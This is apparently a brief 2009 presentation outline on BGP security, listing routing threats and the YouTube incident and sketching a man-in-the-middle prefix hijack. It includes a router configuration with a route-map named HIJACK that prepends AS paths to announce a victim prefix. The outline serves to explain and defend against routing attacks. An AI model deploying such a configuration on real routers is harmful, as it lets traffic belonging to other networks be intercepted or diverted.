BGP Security
Versión 0.2 - 10th March, 2009
Introduction
Internet is a chain of trust, BGP is the glue that fits pieces together.
“The wonderful thing about the Internet is that you’re connected to everyone else,
the bad thing about the Internet is that you’re connected to everyone else”Vint Cerf
Threats
- Chain of trust between tiers
- Weak peer filtering policies
- Internet Routing Registry abuse
- Routing infrastructure compromise
- Protocol vulnerabilities
Blackholing
Youtube incident
Man-in-the-middle Hijacking
-
Steps:
- Reconaissance
- Engineering
- Compromise
- Poisoning
- Traffic interception
- Abuse
- Forwarding
- Obfuscation
ip prefix-list NET A.B.C.0/24
route-map HIJACK permit 10
match ip address NET
set as-path prepend 10 20 200
route-map HIJACK permit 20
router bgp 100
neighbor <AS10_PEER> route-map HIJACK out
Ghost Hijacking
-
